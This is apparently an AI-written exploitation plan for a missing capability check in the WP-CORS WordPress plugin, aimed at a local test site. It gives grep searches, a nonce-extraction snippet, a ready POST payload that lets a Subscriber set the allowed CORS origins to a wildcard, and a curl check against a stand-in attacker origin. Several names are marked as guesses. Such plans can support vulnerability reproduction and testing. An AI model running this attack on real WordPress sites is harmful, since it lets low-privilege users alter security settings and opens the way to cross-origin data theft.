WP-CORS <= 0.2.2 - Missing Authorization

This research plan outlines the steps to identify and exploit a missing authorization vulnerability in the WP-CORS plugin (<= 0.2.2).

1. Vulnerability Summary

The WP-CORS plugin for WordPress is vulnerable to unauthorized settings modification due to a missing capability check in one of its administrative functions. While the plugin is intended to allow administrators to configure Cross-Origin Resource Sharing (CORS) headers, the function responsible for saving these settings is registered via an AJAX hook (wp_ajax_...) without verifying that the requesting user has the manage_options capability. This allows any authenticated user, including those with Subscriber level access, to modify the site's CORS policy.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: wpcors_save_settings (inferred - must be verified) or similar AJAX handler.
• HTTP Method: POST
• Authentication: Authenticated (Subscriber level or higher).
• Parameters: Likely includes an array of CORS settings (e.g., wpcors_allowed_origins, wpcors_allowed_methods) and a nonce.
• Preconditions: The attacker must have a valid account on the WordPress site.

3. Code Flow

1. The plugin registers an AJAX action during initialization (likely in the constructor or an init hook).
2. The registration uses add_action( 'wp_ajax_wpcors_save_settings', '...' ). Note: If there is no nopriv version, only authenticated users can access it, which aligns with the CVSS vector (PR:L).
3. The callback function (e.g., wpcors_save_settings_callback) performs a nonce check using check_ajax_referer() or wp_verify_nonce().
4. The Vulnerability: The callback function fails to call current_user_can( 'manage_options' ) before proceeding to process input.
5. User input from $_POST is passed to update_option(), allowing the attacker to overwrite the plugin's configuration.

4. Nonce Acquisition Strategy

The plugin likely localizes the nonce for its admin settings page. To obtain a valid nonce as a Subscriber:

1. Locate the AJAX registration: Search the source code for the action name.
   • grep -rn "wp_ajax_" wp-content/plugins/wp-cors/
2. Find the Nonce Key: Look for wp_create_nonce or wp_localize_script in the plugin files.
   • grep -rn "wp_create_nonce" wp-content/plugins/wp-cors/
   • grep -rn "wp_localize_script" wp-content/plugins/wp-cors/
3. Check Accessibility: If the nonce is only localized on the plugin's settings page (which a Subscriber cannot access), the attack might be blocked unless:
   • The nonce is generated with a default action like -1.
   • The nonce is leaked in a way accessible to subscribers (e.g., on the dashboard or via a global script).
   • The check_ajax_referer call uses die=false and the result is not checked.
4. Extraction (if applicable): If the nonce is found in a script localized for all logged-in users, use browser_eval to extract it:
   • browser_eval("window.wpcors_obj?.nonce") (inferred variable name).

5. Exploitation Strategy

1. Step 1: Identify Target Action: Search for the specific AJAX action that saves settings.
2. Step 2: Identify Parameters: Examine the callback function to see which $_POST keys are used to update options.
3. Step 3: Obtain Credentials: Create a Subscriber-level user.
4. Step 4: Construct Payload: Prepare a POST request to admin-ajax.php.
   • action: wpcors_save_settings (inferred)
   • _ajax_nonce: [EXTRACTED_NONCE]
   • wpcors_allowed_origins: * (or a specific malicious domain)
5. Step 5: Execute via http_request:

   {
     "method": "POST",
     "url": "http://localhost:8080/wp-admin/admin-ajax.php",
     "headers": {
       "Content-Type": "application/x-www-form-urlencoded",
       "Cookie": "[SUBSCRIBER_COOKIES]"
     },
     "body": "action=wpcors_save_settings&_ajax_nonce=[NONCE]&wpcors_allowed_origins=*"
   }
   

6. Test Data Setup

1. Install Plugin: Ensure wp-cors version 0.2.2 or lower is installed.
2. Create Attacker:
   • wp user create attacker attacker@example.com --role=subscriber --user_pass=password
3. Configure Initial State: Set a restrictive CORS policy via the admin UI or CLI.
   • wp option update wpcors_allowed_origins "https://trusted.com" (inferred option name).

7. Expected Results

• Response: The server should return a 200 OK or a success JSON message (e.g., {"success": true}).
• Impact: The wpcors_allowed_origins option in the database will be updated to *.
• Security Consequence: The site will now respond with Access-Control-Allow-Origin: * to cross-origin requests, potentially allowing data theft via side-channels if other headers (like Access-Control-Allow-Credentials) are also modified.

8. Verification Steps

1. CLI Check: Verify the option was changed in the database.
   • wp option get wpcors_allowed_origins (inferred)
2. HTTP Check: Perform a cross-origin preflight or simple request and check the headers.
   • curl -I -X GET -H "Origin: https://attacker.com" http://localhost:8080/
   • Verify if Access-Control-Allow-Origin: * is present in the response.

9. Alternative Approaches

• Admin Init Hook: If no AJAX action is found, check for functions hooked to admin_init.
  • grep -rn "add_action.*admin_init" wp-content/plugins/wp-cors/
  • If the plugin checks isset($_POST['wpcors_save']) inside an admin_init hook without a capability check, any admin URL access (including by a Subscriber) will trigger the save logic.
• REST API: Check if the plugin registers a REST route without a permission_callback.
  • grep -rn "register_rest_route" wp-content/plugins/wp-cors/